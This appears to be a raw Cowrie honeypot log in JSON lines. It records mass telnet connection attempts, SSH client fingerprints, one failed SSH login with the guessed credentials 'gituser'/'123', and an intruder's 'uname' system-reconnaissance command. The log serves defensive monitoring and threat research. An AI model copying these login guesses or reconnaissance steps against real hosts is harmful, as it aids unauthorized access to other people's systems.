{"eventid":"cowrie.session.closed","duration":30.63645029067993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:03.116728Z","src_ip":"45.10.154.244","session":"0c51760cbc9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.160014390945435,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:03.405343Z","src_ip":"34.69.118.1","session":"7187c66dfe51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":50390,"dst_ip":"10.17.0.5","dst_port":23,"session":"345dd784eac9","protocol":"telnet","message":"New connection: 45.10.154.244:50390 (10.17.0.5:23) [session: 345dd784eac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:03.686291Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51542,"dst_ip":"10.17.0.5","dst_port":23,"session":"469ff1648ef2","protocol":"telnet","message":"New connection: 45.10.154.244:51542 (10.17.0.5:23) [session: 469ff1648ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:04.029324Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36294,"dst_ip":"159.203.135.109","dst_port":23,"session":"54afd214248d","protocol":"telnet","message":"New connection: 51.161.172.108:36294 (159.203.135.109:23) [session: 54afd214248d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:04.053288Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":52406,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ec6bf586949","protocol":"telnet","message":"New connection: 45.10.154.244:52406 (10.17.0.5:23) [session: 3ec6bf586949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:04.303057Z"}
{"eventid":"cowrie.session.closed","duration":30.981465339660645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:04.717773Z","src_ip":"45.10.154.244","session":"c159bd885278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":54576,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6e665f26f58","protocol":"telnet","message":"New connection: 45.10.154.244:54576 (10.17.0.5:23) [session: d6e665f26f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:04.922580Z"}
{"eventid":"cowrie.session.closed","duration":31.328760147094727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:05.014568Z","src_ip":"34.69.118.1","session":"cc52c782917e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43464159965515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:05.048530Z","src_ip":"45.10.154.244","session":"75e30c310160","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21637201309204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:05.060814Z","src_ip":"45.10.154.244","session":"62e92c04634a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35238,"dst_ip":"159.203.135.109","dst_port":22,"session":"b50a1fec1515","protocol":"ssh","message":"New connection: 122.168.114.167:35238 (159.203.135.109:22) [session: b50a1fec1515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:05.150889Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56416,"dst_ip":"10.17.0.5","dst_port":23,"session":"60768818aec2","protocol":"telnet","message":"New connection: 45.10.154.244:56416 (10.17.0.5:23) [session: 60768818aec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:05.385837Z"}
{"eventid":"cowrie.session.closed","duration":34.86012887954712,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:05.868461Z","src_ip":"167.99.38.72","session":"df4ce76fe568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":58372,"dst_ip":"10.17.0.5","dst_port":23,"session":"2910f3106717","protocol":"telnet","message":"New connection: 45.10.154.244:58372 (10.17.0.5:23) [session: 2910f3106717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:05.949333Z"}
{"eventid":"cowrie.session.closed","duration":34.72488498687744,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:05.975865Z","src_ip":"167.99.38.72","session":"af689906f4de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88094878196716,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:06.194322Z","src_ip":"167.99.38.72","session":"138289a687fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":36058,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e640b8cad94","protocol":"telnet","message":"New connection: 45.10.154.244:36058 (10.17.0.5:23) [session: 1e640b8cad94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:07.522209Z"}
{"eventid":"cowrie.session.closed","duration":31.033825159072876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:07.608019Z","src_ip":"45.10.154.244","session":"306eacce6e96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":38572,"dst_ip":"10.17.0.5","dst_port":23,"session":"56be44f6a0ee","protocol":"telnet","message":"New connection: 45.10.154.244:38572 (10.17.0.5:23) [session: 56be44f6a0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:08.191686Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":39846,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5735a054249","protocol":"telnet","message":"New connection: 45.10.154.244:39846 (10.17.0.5:23) [session: c5735a054249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:08.470486Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":36012,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa78de578de3","protocol":"telnet","message":"New connection: 45.10.154.244:36012 (10.17.0.5:23) [session: aa78de578de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:08.514787Z"}
{"eventid":"cowrie.session.closed","duration":31.29216694831848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:08.820067Z","src_ip":"45.10.154.244","session":"182e45e5865f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42014,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb849c7e3097","protocol":"telnet","message":"New connection: 45.10.154.244:42014 (10.17.0.5:23) [session: bb849c7e3097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:09.088870Z"}
{"eventid":"cowrie.session.closed","duration":31.521824836730957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:09.480639Z","src_ip":"45.10.154.244","session":"8447dbf6233b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":43542,"dst_ip":"10.17.0.5","dst_port":23,"session":"77f7bb02a9bb","protocol":"telnet","message":"New connection: 45.10.154.244:43542 (10.17.0.5:23) [session: 77f7bb02a9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:09.497921Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45688,"dst_ip":"10.17.0.5","dst_port":23,"session":"23d7e960ab38","protocol":"telnet","message":"New connection: 45.10.154.244:45688 (10.17.0.5:23) [session: 23d7e960ab38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:10.119043Z"}
{"eventid":"cowrie.session.closed","duration":31.167678594589233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:10.318822Z","src_ip":"45.10.154.244","session":"9b4ab4fa177a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47278,"dst_ip":"10.17.0.5","dst_port":23,"session":"b743b33fb30a","protocol":"telnet","message":"New connection: 45.10.154.244:47278 (10.17.0.5:23) [session: b743b33fb30a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:10.509112Z"}
{"eventid":"cowrie.session.closed","duration":30.20439100265503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:11.135913Z","src_ip":"45.10.154.244","session":"087f64a9ba78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5792133808136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:11.158689Z","src_ip":"45.10.154.244","session":"142012188567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":50762,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d70d8c64c58","protocol":"telnet","message":"New connection: 45.10.154.244:50762 (10.17.0.5:23) [session: 3d70d8c64c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:11.580572Z"}
{"eventid":"cowrie.session.closed","duration":35.677950859069824,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:11.625928Z","src_ip":"167.99.38.72","session":"bf2d3a7c6119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47794,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca1aef478df5","protocol":"telnet","message":"New connection: 45.10.154.244:47794 (10.17.0.5:23) [session: ca1aef478df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:11.680958Z"}
{"eventid":"cowrie.session.closed","duration":30.76068663597107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:12.085704Z","src_ip":"45.10.154.244","session":"20f707cfcb63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93523335456848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:12.132885Z","src_ip":"45.10.154.244","session":"657d745717ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.566242218017578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:12.213562Z","src_ip":"45.10.154.244","session":"264d5e93fc16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599841833114624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:13.089205Z","src_ip":"45.10.154.244","session":"5ca99a185a20","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:13.154419Z","src_ip":"122.168.114.167","session":"b50a1fec1515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:13.158051Z","src_ip":"122.168.114.167","session":"b50a1fec1515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.204516172409058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:13.664125Z","src_ip":"45.10.154.244","session":"90badcac1a6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202897310256958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:13.668617Z","src_ip":"45.10.154.244","session":"911f20add991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":51384,"dst_ip":"159.203.135.109","dst_port":23,"session":"a21d110090ef","protocol":"telnet","message":"New connection: 34.69.118.1:51384 (159.203.135.109:23) [session: a21d110090ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:14.074283Z"}
{"eventid":"cowrie.session.closed","duration":30.223510265350342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:14.078981Z","src_ip":"45.10.154.244","session":"95fa1e97988a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":54038,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aa427b7d7cf","protocol":"ssh","message":"New connection: 190.108.60.101:54038 (10.17.0.5:22) [session: 4aa427b7d7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:14.358416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:14.363163Z","src_ip":"190.108.60.101","session":"4aa427b7d7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:14.561856Z","src_ip":"190.108.60.101","session":"4aa427b7d7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":33584,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eeafb0abff9","protocol":"telnet","message":"New connection: 45.10.154.244:33584 (10.17.0.5:23) [session: 7eeafb0abff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:14.775146Z"}
{"eventid":"cowrie.session.closed","duration":30.99635100364685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:15.051749Z","src_ip":"45.10.154.244","session":"71e0068fea6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61333656311035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:15.290740Z","src_ip":"45.10.154.244","session":"32b9ad1f9634","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gituser","password":"123","message":"login attempt [gituser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:15.394059Z","src_ip":"190.108.60.101","session":"4aa427b7d7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":37432,"dst_ip":"10.17.0.5","dst_port":23,"session":"097b1514e294","protocol":"telnet","message":"New connection: 45.10.154.244:37432 (10.17.0.5:23) [session: 097b1514e294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:15.907146Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:16.592846Z","src_ip":"190.108.60.101","session":"4aa427b7d7cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:16.828841Z","src_ip":"122.168.114.167","session":"6344a3281b10","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:16.832379Z","src_ip":"122.168.114.167","session":"6344a3281b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.058799266815186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:17.066946Z","src_ip":"45.10.154.244","session":"7d3fa66ce10b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":41584,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab4a0bc1f14d","protocol":"telnet","message":"New connection: 45.10.154.244:41584 (10.17.0.5:23) [session: ab4a0bc1f14d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:17.186346Z"}
{"eventid":"cowrie.session.closed","duration":30.369239330291748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:17.244786Z","src_ip":"45.10.154.244","session":"f483bf9d6542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2686984539032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:17.372323Z","src_ip":"45.10.154.244","session":"ac6bf9b469e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42626,"dst_ip":"10.17.0.5","dst_port":23,"session":"1430028bdc6f","protocol":"telnet","message":"New connection: 45.10.154.244:42626 (10.17.0.5:23) [session: 1430028bdc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:17.481199Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":39740,"dst_ip":"10.17.0.5","dst_port":23,"session":"48d20a3a5713","protocol":"telnet","message":"New connection: 45.10.154.244:39740 (10.17.0.5:23) [session: 48d20a3a5713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:17.635946Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":44334,"dst_ip":"10.17.0.5","dst_port":23,"session":"746e395dc0a3","protocol":"telnet","message":"New connection: 45.10.154.244:44334 (10.17.0.5:23) [session: 746e395dc0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:17.928081Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46240,"dst_ip":"159.203.135.109","dst_port":23,"session":"5000d5de5a3e","protocol":"telnet","message":"New connection: 51.161.172.108:46240 (159.203.135.109:23) [session: 5000d5de5a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:18.000118Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45828,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68d62c348b6","protocol":"telnet","message":"New connection: 45.10.154.244:45828 (10.17.0.5:23) [session: a68d62c348b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:18.359972Z"}
{"eventid":"cowrie.session.closed","duration":31.263176679611206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:18.457961Z","src_ip":"45.10.154.244","session":"d50128b74626","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47342,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c3a193255b3","protocol":"telnet","message":"New connection: 45.10.154.244:47342 (10.17.0.5:23) [session: 9c3a193255b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:18.832233Z"}
{"eventid":"cowrie.session.closed","duration":30.83681845664978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:19.052868Z","src_ip":"45.10.154.244","session":"0e023e3a667d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48204,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c3f316a6b84","protocol":"telnet","message":"New connection: 45.10.154.244:48204 (10.17.0.5:23) [session: 2c3f316a6b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:19.080593Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":49516,"dst_ip":"10.17.0.5","dst_port":23,"session":"fba7fc81921c","protocol":"telnet","message":"New connection: 45.10.154.244:49516 (10.17.0.5:23) [session: fba7fc81921c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:19.431414Z"}
{"eventid":"cowrie.session.closed","duration":31.18595790863037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:19.674482Z","src_ip":"45.10.154.244","session":"8c317332cad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49153733253479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:20.132500Z","src_ip":"45.10.154.244","session":"8ac37fc431ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":52348,"dst_ip":"159.203.135.109","dst_port":22,"session":"33940e4c5c52","protocol":"ssh","message":"New connection: 113.163.156.190:52348 (159.203.135.109:22) [session: 33940e4c5c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:20.192561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:20.197579Z","src_ip":"113.163.156.190","session":"33940e4c5c52","protocol":"ssh"}
